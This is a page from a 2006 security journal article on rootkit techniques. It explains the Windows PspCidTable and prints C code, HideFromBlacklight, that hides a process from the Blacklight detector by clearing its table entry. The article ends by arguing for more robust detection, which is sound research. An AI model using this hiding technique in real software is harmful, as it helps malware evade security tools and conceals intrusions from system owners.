Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan


Next: FUTo Up: Blacklight Previous: Windows OpenProcess   Contents

The PspCidTable

The PspCidTable is a "handle table for process and thread client IDs"[7]. Every process' PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer to a HANDLE_TABLE structure.

typedef struct _HANDLE_TABLE {
   PVOID        p_hTable;
   PEPROCESS    QuotaProcess;
   PVOID        UniqueProcessId;
   EX_PUSH_LOCK HandleTableLock [4];
   LIST_ENTRY   HandleTableList;
   EX_PUSH_LOCK HandleContentionEvent;
   PHANDLE_TRACE_DEBUG_INFO DebugInfo;
   DWORD        ExtraInfoPages;
   DWORD        FirstFree;
   DWORD        LastFree;
   DWORD        NextHandleNeedingPool;
   DWORD        HandleCount;
   DWORD        Flags;
}

Windows offers a variety of non-exported functions to manipulate and retrieve information from the PspCidTable. These include:

ExCreateHandleTable
creates non-process handle tables. The objects within all handle tables except the PspCidTable are pointers to object headers and not the address of the objects themselves.
ExDupHandleTable
is called when spawning a process.
ExSweepHandleTable
is used for process rundown.
ExDestroyHandleTable
is called when a process is exiting.
ExCreateHandle
creates new handle table entries.
ExChangeHandle
is used to change the access mask on a handle.
ExDestroyHandle
implements the functionality of CloseHandle.
ExMapHandleToPointer
returns the address of the object corresponding to the handle.
ExReferenceHandleDebugIn
tracing handles.
ExSnapShotHandleTables
is used for handle searchers (for example in oh.exe).
Below is code that uses non-exported functions to remove a process object from the PspCidTable. It uses hardcoded addresses for the non-exported functions necessary; however, a rootkit could find these function addresses dynamically.

typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
                     ( IN PHANDLE_TABLE HandleTable,
                       IN HANDLE ProcessId);

void HideFromBlacklight(DWORD eproc)
{
               PHANDLE_TABLE_ENTRY CidEntry;
               ExMapHandleToPointerFUNC map;
               ExUnlockHandleTableEntryFUNC umap;
               PEPROCESS p;
               CLIENT_ID ClientId;
              
               map = (ExMapHandleToPointerFUNC)0x80493285;
                             
               CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
                         LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
               if(CidEntry != NULL)
               {
                  CidEntry->Object = 0;
               }
               return;
}
Since the job of the PspCidTable is to keep track of all the processes and threads, it is logical that a rootkit detector could use the PspCidTable to find hidden processes. However, relying on a single data structure is not a very robust algorithm. If a rootkit alters this one data structure, the operating system and other programs will have no idea that the hidden process exists. New rootkit detection algorithms should be devised that have overlapping dependencies so that a single change will not go undetected.


Next: FUTo Up: Blacklight Previous: Windows OpenProcess   Contents